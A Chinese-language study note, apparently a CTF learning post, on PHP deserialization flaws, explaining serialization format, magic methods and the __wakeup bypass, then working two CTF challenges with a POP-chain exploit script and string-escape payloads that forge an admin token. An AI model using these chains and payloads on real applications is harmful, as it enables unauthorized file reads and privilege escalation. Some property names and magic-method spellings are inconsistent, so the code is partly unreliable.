php反序列化学习
在PHP中,反序列化漏洞(也称为PHP对象注入漏洞)是一个安全漏洞,它允许攻击者执行恶意代码或者访问敏感数据。这种漏洞通常发生在应用程序不正确地处理来自不可靠来源的序列化数据时
就是将对象的状态信息写成一串字符,以便传输和保存。
o: 对象 a: 数组 s: 字符串 i: 整型
空字符null | N; |
整型888 | i:888; |
浮点型88.8 | d:88.8; |
Boolean型true/false | b:1;/b:0; |
字符串'nihao' | s:5:"nihao"; |
类的修饰符
public:公共的,在任何地方都可以访问,默认修饰符(在类、变量、方法或构造函数的定义中没有指定任何访问修饰符)
protected:受保护的,只能在本类内部和继承的子类中访问,不能在类外部直接访问
private:私有的,只能在本类内部访问,不能在子类或外部访问
修饰符 | 本类内部 | 子类 | 类外部 |
public | 可以访问 | 可以访问 | 可以访问 |
protected | 可以访问 | 可以访问 | 不可访问 |
private | 可以访问 | 不可访问 | 不可访问 |
一些知识:
反序列化漏洞的成因:是因为unserialize(),需要传参,而传入的参数可控,就可以产生漏洞
反序列化后对象里面的值与类里面预定义的值无关
由于private私有化属性,中会出现特殊字符要用%00来代替空,最后再用urldecode()进行解码,后进行反序列化。
执行时进行url编码是为了:url中某些字符由特殊含义,需要编码才能正确传输。字符集的兼容性,url只能使用ASCll字符。防止歧义和注入,避免与URL语法冲突。只要参数值可能包含特殊字符,就应该进行URL编码以确保正确传输。
如果需要绕过wakeup()方法,可以利用(当序列化字符串中表示的对象属性数量大于实际类的属性数量时,__wakeup() 方法不会被调用)
魔术方法
接着就是了解一些魔术方法
_construct() 类的构造函数 _destruct() 类的析构函数 _call() 在对象中调用一个不可访问方法时调用 _callStatic() 用静态方式中调用一个不可访问方法时调用 _get() 获得一个类的成员变量时调用 _set() 设置一个类的成员变量时调用 _isset() 当对不可访问属性电工用isset()或empty()时调用 _unset() 当对不可访问属性调用unset()时被调用 _sleep() 执行serilize()时,会先调用这个函数 _wakeup() 执行unserialize()时,会先调用这个函数 _toString() 类被当成字符串时的回应方法 _invoke() 调用函数的方式调用一个对象是的回应方法 _set_state() 调用var_export()导出类时,此静态方法会被调用 _clone() 当对象复制完成时调用 _autoload() 尝试加载未定义的类 _debuginfo() 打印所需调试信息__construct() 当对象创建时会自动调用(但在unserialize()时是不会自动调用的)
__invoke 该魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种)
_call() 当调用不存在的方法时,会触发 __call 魔术方法
__set() 当给不存在的属性赋值时,会触发 __set
class Vulnerable { public function __wakeup() { // 反序列化时自动调用 echo "对象已唤醒\n"; } public function __unserialize(array $data): void { // PHP 7.4+ 反序列化后创建的对象可用时调用 } public function __destruct() { // 对象销毁时调用 echo "对象销毁\n"; } public function __get($name) { // 访问不存在属性时调用 return $this->$name; } public function __set($name, $value) { // 设置不存在属性时调用 $this->$name = $value; } public function __call($name, $arguments) { // 调用不存在方法时调用 echo "调用不存在方法: $name\n"; } }还有一些高危触发链
1. __destruct() → __call() → __set() → 代码执行 2. __wakeup() → 属性赋值 → __set() → 命令执行 3. __toString() → 方法调用 → __call() → 系统调用例题1:魔术方法的调用
<?php error_reporting(0); //flag is in flag.php class Popuko { private $No_893; public function POP_TEAM_EPIC(){ $this->WEBSITE = "MANGA LIFE WIN"; } public function __invoke(){ $this->append($this->No_893); } public function append($santi_takeshobo){ include($santi_takeshobo); } } class Pipimi { public $pipi; public function PIPIPIMI(){ $h = "超喜欢POP子~ww,你也一样对吧(举刀)"; } public function __construct(){ echo "Pipi美永远不会生气~ww"; $this->pipi = array(); } public function get($scopop){ $function = $this->pipi; return $function(); } } class Goodsisters { public function PopukoPipimi(){ $is = "Good sisters"; } public $kimonawa,$str; public function __construct($file='index.php'){ $this->kimonawa = $file; echo 'Welcome to HNCTF2022 ,'; } public function __toString(){ return $this->str->kimonawa; } public function __wakeup(){ if(preg_match("/popzi|flag|cha|https|http|file|dict|ftp|pipimei|gopher|\.|\//i", $this->kimonawa)) { echo "仲良ピース!"; $this->kimonawa = "index.php"; } } } if(isset($_GET['pop'])) @unserialize($_GET['pop']); else{ $a=new Goodsisters; if(isset($_GET['pop_EP']) && $_GET['pop_EP'] == "ep683045"){ highlight_file(__FILE__); echo '欸嘿,你也喜欢pop子~对吧ww'; } } 欸嘿,你也喜欢pop子~对吧ww先看到Goodsisters类中的_wakeup()方法,_wakeup()方法反序列化时立即调用,从它下手
this->kiminonawa会被正则检查,且_wakeup()也没有调用危险函数,让这条链子没走下去。
最终是执行_invoke()方法,调用append($this->No_893)倒着推
要触发invoke()方法,__invoke魔术⽅法是对象被当做函数进⾏调⽤的时候所触发(类似$a()这种),在Pipimi类中return $function()会触发_invoke(),$function()在_get()方法中
_get()方法在读取不存在属性时会触发,在Goodsisters类中的_toString()方法中this->str->kiminonawa,Pipimi没有kiminonawa属性,触发_get()方法
-toString()方法是对象被当做字符串的时候进⾏⾃动调⽤,在preg_match()会触发_toString()方法,preg_match()在_wakeup方法中
正着写pop链:
Goodsisters::__wakeup()->Goodsisters::_toString()->Pipimi::_get()->Popuko::_invoke()
<?php class Popuko{ private $No_893="php://filter/read=convert.base64-encode/resource=f14g.php"; } class Pipimi{ public $pipi; } class Goodsisters{ public $kiminonawa; public $str; } $popuko=new Popuko(); $pipimi=new Pipimi(); $pipimi->p=$popuko; $goodsisters=new Goodsisters(); $goodsisters->str=$pipimi; $goodsisters1=new Goodsisters(); $goodsisters1->kiminonawa=$goodsisters; echo urlencode(serialize($goodsisters1)); ?>反序列化字符串逃逸
序列化的字符串在经过过滤函数不正确的处理而导致对象注入
例题1:
<?php error_reporting(0); highlight_file(__FILE__); function filter($string){ return preg_replace( '/phtml|php3|php4|php5|aspx|gif/', '', $string); } $user['username'] = $_POST['name']; $user['passwd'] = $_GET['passwd']; $user['sign'] = '123456'; $ans = filter(serialize($user)); if(unserialize($ans)['sign'] === "ytyyds"){ echo file_get_contents('flag.php'); }需要构造的代码
<?php class user{ public $username=""; public $name=""; public $passwd=""; public $sign="ytyyds"; } $a=new user(); echo serialize($a); ?>该代码执行后生成:O:4:"user":4:{s:8:"username";s:0:"";s:4:"name";s:0:"";s:6:"passwd";s:0:"";s:4:"sign";s:6:"ytyyds";}
逃逸距离取决于我们想要在序列化字符串中的哪个位置插入我们的payload,以及我们想要覆盖哪些字段。
在这一题中,我们需要是覆盖 passwd 字段,该字段有20个字符,所以构造post请求时payload:name=phtmlphtmlphtmlphtml
例题2:字符串逃逸问题
<?php error_reporting(0); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } $f = $_GET['f']; $m = $_GET['m']; $t = $_GET['t']; if(isset($f) && isset($m) && isset($t)){ $msg = new message($f,$m,$t); $umsg = str_replace('fuck', 'loveU', serialize($msg));//这里会将fuck替换成loveU setcookie('msg',base64_encode($umsg)); echo 'Your message has been sent'; } highlight_file(__FILE__);然后看到注释中有一个php文件,访问后又得到一串代码
代码解释:意思是说在cookie中传入一个参数msg,其传入的内容需要进行base64编码,要让admin赋值给token
<?php highlight_file(__FILE__); include('flag.php'); class message{ public $from; public $msg; public $to; public $token='user'; public function __construct($f,$m,$t){ $this->from = $f; $this->msg = $m; $this->to = $t; } } if(isset($_COOKIE['msg'])){ $msg = unserialize(base64_decode($_COOKIE['msg'])); if($msg->token=='admin'){ echo $flag; } }利用字符串逃逸方法
然后就可以进行构造:
<?php class message{ public $from; public $msg; public $to; public $token='user'; } $a=new message(); $a->from="b"; $a->msg="c"; $a->to="d"; echo serialize($a); ?> O:7:"message":4:{s:4:"from";s:1:"b";s:3:"msg";s:1:"c";s:2:"to";s:1:"d";s:5:"token";s:4:"user";}要让token=admin,借助这个$umsg = str_replace('fuck', 'loveU', serialize($msg));
";s:1:"d";s:5:"token";s:5:"admin";}这一共有27个字符,输入27个fuck,这27个fuck会转换成27个loveU,这会使其多出27个字符,但是前面的135还是不变的。读到 s:135:" 后,取 135 个字符作为 to 的值,135 个字符取完后,后面紧跟着的是 ";(闭合引号和分号),此时解析器继续读:s:5:"token";s:5:"admin";} 这被解析为新的键值对,覆盖 token 为 "admin"
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}这些是当作to的值进行传入:fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
O:7:"message":4:{s:4:"from";s:1:"a";s:3:"msg";s:1:"b";s:2:"to";s:135:"loveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveUloveU";s:5:"token";s:5:"admin";}";s:5:"token";s:4:"user";}最后剩下的 ";s:5:"token";s:4:"user";} 在对象结束后,解析器会忽略多余字符
O:7:"message":4:{...4个属性...}尾部垃圾数据一旦解析器遇到那个 },它就认为工作完成了,属性数量正确(为4个属性),不会继续解析后面的字符。
payload:?f=a&m=b&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}
执行成功后访问message.php
在这题中也可以直接将token的值设为admin,然后在cookie中传入参数msg,将构造的的payload进行base64编码
payload:O:7:"message":4:{s:4:"from";s:1:"b";s:3:"msg";s:1:"c";s:2:"to";s:1:"d";s:5:"token";s:5:"admin";}